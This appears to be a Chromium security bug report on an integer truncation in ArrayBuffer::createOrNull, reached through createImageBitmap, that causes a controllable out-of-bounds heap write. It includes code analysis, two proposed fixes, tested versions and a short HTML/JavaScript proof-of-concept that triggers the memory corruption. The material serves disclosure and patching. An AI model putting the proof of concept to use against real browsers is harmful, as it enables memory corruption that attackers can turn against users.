VULNERABILITY DETAILS

The `ArrayBuffer` is prone to an Bad-Casting, which result in out-of-bounds write vulnerability.


File https://crrev.com/ed808c40c0aec0e83b0d8ef8d4158f65c3bf4540/third_party/WebKit/Source/core/frame/ImageBitmap.cpp#536
------------------------------------------------------------------------
536 ImageBitmap::ImageBitmap(ImageData* data,
537                          Optional<IntRect> cropRect,
538                          const ImageBitmapOptions& options) {
539   // TODO(xidachen): implement the resize option
540   IntRect dataSrcRect = IntRect(IntPoint(), data->size());
541   ParsedOptions parsedOptions =
542       parseOptions(options, cropRect, data->bitmapSourceSize());
543   if (dstBufferSizeHasOverflow(parsedOptions))  <----- Overflow Checking
544     return;
...
569       RefPtr<ArrayBuffer> dstBuffer = ArrayBuffer::createOrNull(  <----- `ArrayBuffer::createOrNull` call allocate a buffer (bug is here)
570           static_cast<size_t>(parsedOptions.cropRect.height()) * <----- Allocation-Size (user-controlled)
571               parsedOptions.cropRect.width(),
572           bytesPerPixel);
573       if (!dstBuffer)
574         return;
575       RefPtr<Uint8Array> copiedDataBuffer =
576           Uint8Array::create(dstBuffer, 0, dstBuffer->byteLength());
...
604             dstStartCopyPosition = (dstPoint.y() + i) * dstPixelBytesPerRow +  <----- OOB-Offset (user-controlled)
605                                    dstPoint.x() * bytesPerPixel;
606           for (size_t j = 0; j < srcEndCopyPosition - srcStartCopyPosition;
607                j++) {
608             // swizzle when necessary
609             if (kN32_SkColorType == kBGRA_8888_SkColorType) {
610               if (j % 4 == 0)
611                 copiedDataBuffer->data()[dstStartCopyPosition + j] =  <----- OOB-Write (user-controlled)
612                     srcAddr[srcStartCopyPosition + j + 2];
...
------------------------------------------------------------------------


File https://crrev.com/ed808c40c0aec0e83b0d8ef8d4158f65c3bf4540/third_party/WebKit/Source/core/frame/ImageBitmap.cpp#110
------------------------------------------------------------------------
110 bool dstBufferSizeHasOverflow(ParsedOptions options) {
111   CheckedNumeric<size_t> totalBytes = options.cropRect.width(); <---- CheckedNumeric with `size_t`
112   totalBytes *= options.cropRect.height();
113   totalBytes *= options.bytesPerPixel;
114   if (!totalBytes.IsValid())
115     return true;
116   if (!options.shouldScaleInput)
117     return false;
118   totalBytes = options.resizeWidth;
119   totalBytes *= options.resizeHeight;
120   totalBytes *= options.bytesPerPixel;
121   if (!totalBytes.IsValid())
122     return true;
123   return false;
124 }
------------------------------------------------------------------------


File https://crrev.com/ed808c40c0aec0e83b0d8ef8d4158f65c3bf4540/third_party/WebKit/Source/wtf/typed_arrays/ArrayBuffer.h#145
------------------------------------------------------------------------
145 PassRefPtr<ArrayBuffer> ArrayBuffer::createOrNull(unsigned numElements, <---- `unsigned`!!
146                                                   unsigned elementByteSize) {
147   return createOrNull(numElements, elementByteSize,
148                       ArrayBufferContents::ZeroInitialize);
149 }
------------------------------------------------------------------------


An `unsigned` is 32-bit values on 64-bit systems. But `size_t` is 64-bit values on 64-bit systems.
Therefore, Bad-Casting vulnerability occurs in `ArrayBuffer::createOrNull`.

In my testcase, `height` and `width` are 0x10004.
So `numElements` will be 0x80010. (0x10004*0x10004 => 0x100080010 => 0x80010)

This vulnerability is exploitable.
Because an attacker easily controlled overflow-size, allocation-size, oob-offset and oob-value.



* Fix Suggestion 1 (ImageBitmap.cpp)
------------------------------------------------------------------------
  110 bool dstBufferSizeHasOverflow(ParsedOptions options) {
- 111   CheckedNumeric<size_t> totalBytes = options.cropRect.width();
+ 111   CheckedNumeric<unsigned> totalBytes = options.cropRect.width();
  112   totalBytes *= options.cropRect.height();
  113   totalBytes *= options.bytesPerPixel;
  114   if (!totalBytes.IsValid())
  ...
  569       RefPtr<ArrayBuffer> dstBuffer = ArrayBuffer::createOrNull(
- 570           static_cast<size_t>(parsedOptions.cropRect.height()) * 
+ 570           static_cast<unsigned>(parsedOptions.cropRect.height()) * 
  571               parsedOptions.cropRect.width(),
  572           bytesPerPixel);
------------------------------------------------------------------------

* Fix Suggestion 2 (ArrayBuffer.h)
------------------------------------------------------------------------
- 145 PassRefPtr<ArrayBuffer> ArrayBuffer::createOrNull(unsigned numElements,
- 146                                                   unsigned elementByteSize) {
+ 145 PassRefPtr<ArrayBuffer> ArrayBuffer::createOrNull(size_t numElements,
+ 146                                                   size_t elementByteSize) {
  147   return createOrNull(numElements, elementByteSize,
  148                       ArrayBufferContents::ZeroInitialize);
  149 }
  ...
- 179 PassRefPtr<ArrayBuffer> ArrayBuffer::createShared(unsigned numElements,
- 180                                                   unsigned elementByteSize) {
+ 179 PassRefPtr<ArrayBuffer> ArrayBuffer::createShared(size_t numElements,
+ 180                                                   size_t elementByteSize) {
  ...
------------------------------------------------------------------------

Which one is better? I'm not sure.



VERSION
Tested On,
	Stable (54.0.2840.99) + Windows 10 x64
	asan-linux-release-431202 (56.0.2916.0) + Ubuntu 16.04



REPRODUCTION CASE
* Minimize PoC
------------------------------------------------------------------------
<script>
	var canvas = document.createElement("canvas");
	var ctx = canvas.getContext("2d");

	var imageData = ctx.createImageData(1024, 1024);
	for (var i=0; i<1024*1024*4; i++)
		imageData.data[i] = 0x41;

	createImageBitmap(imageData, 0, 0, 0x10004, 0x10004, {premultiplyAlpha:"none"});
</script>
------------------------------------------------------------------------
I attached as `poc.html`



FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Attached as `asan_trace.log` and `windbg_trace.log`


 

Deleted: poc.html 308 bytes

poc.html 308 bytes View Download

Deleted: asan_trace.log 12.8 KB

asan_trace.log 12.8 KB View Download

Deleted: windbg_trace.log 6.0 KB

windbg_trace.log 6.0 KB View Download